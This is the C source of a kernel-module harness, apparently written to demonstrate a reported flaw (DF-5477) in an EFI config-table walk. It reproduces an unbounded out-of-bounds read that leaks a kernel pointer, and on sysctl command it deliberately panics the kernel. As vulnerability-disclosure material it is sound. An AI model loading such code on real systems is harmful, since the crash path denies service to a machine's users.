DF-5477 / df5477_harness.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | /* * DF-5477 KLD harness โ verbatim-copy demonstration of the unvalidated * firmware-fed config-table walk in efi_get_table() * (sys/platform/pc64/x86_64/efirt.c:469-487). * * The walk below is a line-for-line copy of the production function with * only the statics made module-local (the real efi_systbl/efi_cfgtbl cannot * be initialized on a BIOS-boot guest: efi_init() bails at the missing * MODINFOMD_EFI_MAP metadata, efirt.c:421-427, before assigning them). * * Part A (sysctl debug.df5477=1): * Firmware truth: config table holds 2 entries. Firmware-fed lie: * st_entries = 200. The walk reads 200 * 24 = 4800 bytes โ far past the * table's true extent โ and "finds" the query UUID planted at entry 199, * returning success plus PHYS_TO_DMAP(ct_data) = a kernel DMAP virtual * address. st_entries is a firmware-fed u_long that is never * bounds-checked against anything (efirt.c:477). * * Part B (sysctl debug.df5477=2): * st_cfgtbl set to a realistic firmware PHYSICAL config-table address * (0x7FB1C000, of the shape real firmware hands out before * SetVirtualAddressMap โ which this kernel never calls: rt_setvirtual has * zero call sites). The production code at efirt.c:411-412 stores this * raw value and the walk at efirt.c:480 dereferences it as a kernel * VIRTUAL address. On this platform the DMAP begins at 0xffffb80000000000 * (high-half, 128 PML4 slots; verified empirically on this build), so low * physical addresses are unmapped in the kernel pmap -> deterministic * "Fatal user address access from kernel mode" panic (trap.c:917-926, * pcb_onfault == NULL outside efi_enter()). */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/malloc.h> #include <sys/module.h> #include <sys/sysctl.h> #include <sys/systm.h> #include <sys/uuid.h> #include <sys/efi.h> #include <vm/vm.h> #include <vm/pmap.h> #include <machine/pmap.h> #include <machine/vmparam.h> /* DMAP_MIN_ADDRESS */ /* ---- module-local stand-ins for the efirt.c statics (efirt.c:67-69) ---- */ static struct efi_systbl *df_systbl; static struct efi_cfgtbl *df_cfgtbl; static MALLOC_DEFINE(M_DF5477, "df5477", "DF-5477 harness"); /* * VERBATIM copy of efi_get_table() โ sys/platform/pc64/x86_64/efirt.c:469-487. * Only the names of the two statics differ; every expression, type and * comparison is identical to the production code. */ static int df_efi_get_table(struct uuid *uuid, void **ptr) { struct efi_cfgtbl *ct; u_long count; if (df_cfgtbl == NULL) return (ENXIO); count = df_systbl->st_entries; /* efirt.c:477 โ unbounded */ ct = df_cfgtbl; /* efirt.c:478 */ while (count--) { /* efirt.c:479 */ if (!bcmp(&ct->ct_uuid, uuid, sizeof(*uuid))) { *ptr = (void *)PHYS_TO_DMAP(ct->ct_data); /* efirt.c:481 */ return (0); } ct++; /* efirt.c:484 */ } return (ENOENT); } static const struct uuid df_query = { 0x0DF54, 0x0770, 0x0007, 0x77, 0x77, {0x77, 0x77, 0x77, 0x77, 0x77, 0x77} }; static int df_part_a(void) { struct efi_systbl *st; struct efi_cfgtbl *tbl; const int true_entries = 2; const int lie_entries = 200; const int canary_idx = 199; uint8_t *buf; int error, i; void *ptr = NULL; buf = kmalloc(lie_entries * sizeof(struct efi_cfgtbl), M_DF5477, M_WAITOK | M_ZERO); tbl = (struct efi_cfgtbl *)buf; /* the two entries the firmware memory map actually describes */ for (i = 0; i < true_entries; i++) { memset((void *)&tbl[i].ct_uuid, 0xAA + i, sizeof(struct uuid)); tbl[i].ct_data = 0x11111111000UL + i; } /* * Plant the query UUID where a real system would have unrelated * kernel memory: past the true extent of the table, at the far end * of the range the lied-about st_entries makes the walk cover. */ tbl[canary_idx].ct_uuid = df_query; tbl[canary_idx].ct_data = 0x00DEADBEEF000UL; /* firmware-fed phys */ st = kmalloc(sizeof(*st), M_DF5477, M_WAITOK | M_ZERO); st->st_entries = lie_entries; df_systbl = st; df_cfgtbl = tbl; kprintf("DF-5477A: true table extent = %d entries (%zu bytes); " "st_entries = %d (lie); walk covers %zu bytes\n", true_entries, (size_t)true_entries * sizeof(*tbl), lie_entries, (size_t)lie_entries * sizeof(*tbl)); kprintf("DF-5477A: query UUID planted at entry %d, byte offset %zu " "(past true table end)\n", canary_idx, (size_t)canary_idx * sizeof(*tbl)); error = df_efi_get_table((__DECONST(struct uuid *, &df_query)), &ptr); if (error == 0) kprintf("DF-5477A: FOUND entry %d past table end -> returned " "kernel DMAP pointer %p (leaked to ioctl caller)\n", canary_idx, ptr); else kprintf("DF-5477A: not found (error %d)\n", error); return (error); } static void df_part_b(void) { static struct efi_systbl st; struct uuid q; void *p = NULL; memset(&q, 0, sizeof(q)); st.st_entries = 2; df_systbl = &st; df_cfgtbl = (struct efi_cfgtbl *)0x7FB1C000; /* physical, used raw */ kprintf("DF-5477B: st_cfgtbl = physical 0x7FB1C000 used as KVA " "(efirt.c:411-412, deref at :480); DMAP base = 0x%016lx; " "dereferencing now...\n", (unsigned long)DMAP_MIN_ADDRESS); df_efi_get_table(&q, &p); /* faults at ct->ct_uuid */ kprintf("DF-5477B: NOT REACHED\n"); } static int df_sysctl(SYSCTL_HANDLER_ARGS) { int val, error; val = 0; error = sysctl_handle_int(oidp, &val, 0, req); if (error != 0 || req->newptr == NULL) return (error); if (val == 1) return (df_part_a()); if (val == 2) df_part_b(); return (0); } static int df_modevent(module_t m, int event, void *arg __unused) { switch (event) { case MOD_LOAD: { SYSCTL_PROC(_debug, OID_AUTO, df5477, CTLTYPE_INT | CTLFLAG_RW, NULL, 0, df_sysctl, "I", "write 1=OOB walk demo, 2=phys-as-KVA fault demo"); kprintf("DF-5477 harness loaded: sysctl debug.df5477=1 (OOB) " "or =2 (fault)\n"); return (0); } case MOD_UNLOAD: return (0); default: return (EOPNOTSUPP); } } static moduledata_t df5477_mod = { "df5477_harness", df_modevent, NULL }; DECLARE_MODULE(df5477_harness, df5477_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |